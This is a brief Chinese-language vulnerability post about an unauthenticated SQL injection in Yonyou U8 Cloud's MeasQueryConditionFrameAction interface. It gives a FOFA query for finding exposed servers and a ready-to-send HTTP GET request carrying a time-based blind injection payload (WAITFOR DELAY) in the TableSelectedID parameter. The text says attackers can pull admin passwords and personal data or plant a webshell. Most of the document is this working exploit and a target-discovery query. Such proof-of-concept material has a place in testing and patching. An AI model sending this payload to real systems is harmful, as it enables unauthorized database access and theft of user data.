用友U8-Cloud系统接口MeasQueryConditionFrameAction存在SQL注入漏洞

用友U8 Cloud MeasQueryConditionFrameAction接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

fofa

app="用友-U8-Cloud"

poc

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasQueryConditionFrameAction&method=doCopy&TableSelectedID=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host: 127.0.0.1:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1